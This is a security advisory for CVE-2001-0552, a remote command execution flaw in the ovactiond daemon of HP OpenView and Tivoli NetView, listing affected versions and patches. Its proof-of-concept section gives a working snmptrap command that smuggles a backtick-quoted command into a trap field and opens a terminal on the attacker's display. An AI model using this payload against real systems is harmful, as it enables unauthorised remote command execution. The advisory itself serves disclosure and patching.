OVActionD SNMPNotify Command Execution Vulnerability

BID:2845

Info

OVActionD SNMPNotify Command Execution Vulnerability

Bugtraq ID: 2845
Class: Input Validation Error
CVE: CVE-2001-0552
Remote: Yes
Local: No
Published: Jun 08 2001 12:00AM
Updated: Jul 11 2009 06:56AM
Credit: This vulnerability was announced to Bugtraq by Milo van der Zee <[email protected]> on June 8, 2001.
Vulnerable: IBM Tivoli NetView 6.0
- Compaq Tru64 5.1
- Compaq Tru64 5.0 f
- Compaq Tru64 5.0 a
- Compaq Tru64 5.0
- Compaq Tru64 4.0 g
- IBM AIX 4.3.3
- IBM AIX 4.3.2
- IBM AIX 4.3.1
- IBM AIX 5.1
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Sun Solaris 2.5.1
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
IBM Tivoli NetView 5.1
IBM Tivoli NetView 5.0
HP OpenView Network Node Manager 6.10
- HP HP-UX 11.0
- HP HP-UX 10.20
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
HP OpenView Network Node Manager 5.0 1
- HP HP-UX 11.0
- HP HP-UX 10.20
- Sun Solaris 8_sparc
- Sun Solaris 7.0
- Sun Solaris 2.6
Not Vulnerable: HP OpenView Network Node Manager 6.2

Discussion

OVActionD SNMPNotify Command Execution Vulnerability

ovactiond is part of the system management software packages OpenView and Netview, distributed by HP and IBM. It is designed for use on enterprise systems, and offers remote administrative facilities.

A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized.

Exploit / POC

OVActionD SNMPNotify Command Execution Vulnerability

snmptrap -v 1 &lt;NNM host&gt; .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display &lt;your client display&gt;\`" 4 s "" [snip...] 12 s ""

Solution / Fix

OVActionD SNMPNotify Command Execution Vulnerability

Solution:
Version 6.2 is not vulnerable.

HP has stated that versions prior to 6.1 are not vulnerable by default. It is possible that they may be vulnerable with a custom configuration. Administrators using versions older than 6.1 are advised to upgrade to 6.2.

Patches available for version 6.1:


IBM Tivoli NetView 5.0

IBM Tivoli NetView 5.1

IBM Tivoli NetView 6.0

HP OpenView Network Node Manager 6.10

References

OVActionD SNMPNotify Command Execution Vulnerability

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